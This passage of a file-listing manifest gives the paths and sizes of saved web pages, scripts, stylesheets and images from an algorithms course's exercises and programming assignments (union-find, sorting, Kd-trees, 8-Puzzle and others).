1/html/exercise-wk03-MergeSort_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/bootstrap.css", "length": 47377}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/bootstrap.css", "length": 47377}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/bootstrap.css", "length": 47377}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/bootstrap.css", "length": 47377}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/bootstrap.css", "length": 47377}, {"path": "Assignments - part 1/pdf/wk2-Prog-Assign-Queues.pdf", "length": 42651}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam.htm", "length": 39410}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/ga.js", "length": 37227}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/ga.js", "length": 37227}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/ga.js", "length": 37227}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/ga.js", "length": 37227}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/ga.js", "length": 37227}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/ga.js", "length": 37227}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/ga_002.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/ga.js", "length": 37227}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/ga_002.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/ga.js", "length": 37227}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/top-banner.png", "length": 36584}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/top-banner.png", "length": 36584}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/top-banner.png", "length": 36584}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/top-banner.png", "length": 36584}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/top-banner.png", "length": 36584}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/top-banner.png", "length": 36584}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/top-banner.png", "length": 36584}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/top-banner.png", "length": 36584}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees_files/kdtree-ops.png", "length": 31438}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide.htm", "length": 29428}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation_files/percolates.png", "length": 27097}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees_files/RectHV.png", "length": 26597}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-cklist.htm", "length": 21231}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation_files/percolation-threshold20.png", "length": 20598}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation_files/percolation-threshold100.png", "length": 20582}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms.htm", "length": 20329}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues.htm", "length": 20033}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle-cklist.htm", "length": 19082}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables.htm", "length": 18695}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find.htm", "length": 18357}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs.htm", "length": 18351}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions.htm", "length": 17990}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points_files/lines1.png", "length": 17910}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort.htm", "length": 17629}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables.htm", "length": 17308}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees.htm", "length": 17244}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues.htm", "length": 17083}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort.htm", "length": 17070}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts.htm", "length": 16960}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-cklist_files/percolation-backwash.png", "length": 16513}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Queues-cklist.htm", "length": 15620}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions.htm", "length": 15077}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions.htm", "length": 14864}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions.htm", "length": 14797}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions.htm", "length": 14757}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/font-awesome.css", "length": 14599}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/font-awesome.css", "length": 14599}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/font-awesome.css", "length": 14599}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/font-awesome.css", "length": 14599}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/font-awesome.css", "length": 14599}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/font-awesome.css", "length": 14599}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/font-awesome.css", "length": 14599}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/font-awesome.css", "length": 14599}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees.htm", "length": 14549}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation.htm", "length": 12116}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-cklist.htm", "length": 11613}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points.htm", "length": 11240}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/json.js", "length": 10931}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/json.js", "length": 10931}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/json.js", "length": 10931}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/json.js", "length": 10931}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/json.js", "length": 10931}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/json.js", "length": 10931}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/json.js", "length": 10931}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/json.js", "length": 10931}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle.htm", "length": 10793}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/top_nav_bar.js", "length": 10296}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/top_nav_bar.js", "length": 10296}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/top_nav_bar.js", "length": 10296}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/top_nav_bar.js", "length": 10296}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/top_nav_bar.js", "length": 10296}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/top_nav_bar.js", "length": 10296}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/top_nav_bar.js", "length": 10296}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees-cklist.htm", "length": 10092}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees_files/kdtree5.png", "length": 9422}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees_files/kdtree4.png", "length": 8051}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Queues.htm", "length": 7684}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees_files/kdtree3.png", "length": 6664}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points_files/lines2.png", "length": 6556}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/bootstrap-modal.js", "length": 6424}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/bootstrap-modal.js", "length": 6424}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/bootstrap-modal.js", "length": 6424}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/bootstrap-modal.js", "length": 6424}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/bootstrap-modal.js", "length": 6424}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/bootstrap-modal.js", "length": 6424}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/bootstrap-modal.js", "length": 6424}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/bootstrap-modal.js", "length": 6424}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees-cklist_files/circle10.png", "length": 5680}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/204.js", "length": 5677}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/204.js", "length": 5677}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/204_002.js", "length": 5677}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/204.js", "length": 5677}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/204_002.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/204.js", "length": 5677}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/204.js", "length": 5677}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/204.js", "length": 5677}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/main.css", "length": 5514}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/main.css", "length": 5514}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/main.css", "length": 5514}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/main.css", "length": 5514}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/main.css", "length": 5514}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/main.css", "length": 5514}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/main.css", "length": 5514}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/main.css", "length": 5514}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees_files/kdtree2.png", "length": 4957}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-cklist_files/percolation-250.png", "length": 4189}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-cklist_files/percolation-204.png", "length": 4092}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation_files/percolation-204.png", "length": 4092}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation_files/percolation-stats.png", "length": 3689}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation_files/percolation-150.png", "length": 3314}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-cklist_files/percolation-150.png", "length": 3314}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees_files/kdtree1.png", "length": 3103}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation_files/percolation-100.png", "length": 2799}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-cklist_files/percolation-100.png", "length": 2799}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/attempt.js", "length": 2585}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/quiz_timer.js", "length": 2359}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/modal_focus.js", "length": 2261}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/modal_focus.js", "length": 2261}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/modal_focus.js", "length": 2261}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/modal_focus.js", "length": 2261}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/modal_focus.js", "length": 2261}, {"path": "Assignments - part 1/html/wk2-Prog-Assign-Randomized-Queues-Deques-Instructions_files/modal_focus.js", "length": 2261}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/modal_focus.js", "length": 2261}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/modal_focus.js", "length": 2261}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-cklist_files/percolation-50.png", "length": 2149}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation_files/percolation-50.png", "length": 2149}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/quiz_questions.css", "length": 1958}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/quiz_questions.css", "length": 1958}, {"path": "Assignments - part 1/html/wk0-Prog-Assign-Assessments-Guide_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk02-Elementary-Sorts_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk03-MergeSort_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk01-Union-Find_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk05-Balanced-Search-Trees_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk02-Stacks-Queues_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk01-Analysis-of-alogrithms_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk04-Priority-Queues_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk05-Geometric-Searching-of-BSTs_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk03-Quicksort_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Assignments - part 1/html/wk1-Prog-Assign-Percolation-Instructions_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk06-Final-Exam_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk04-Elementary-Symbol-Tables_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Assignments - part 1/html/wk5-Prog-Assign-Kd-Trees--Instructions_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Excercises - part 1/html/exercise-wk06-Hash-Tables_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Assignments - part 1/html/wk3-Prog-Assign-Collinear-Points-Instructions_files/topbar-coursera-logo.png", "length": 1528}, {"path": "Assignments - part 1/html/wk4-Prog-Assign-8-Puzzle--Instrustions_files/topbar-coursera-logo.png", "length": 1528}, {"path": 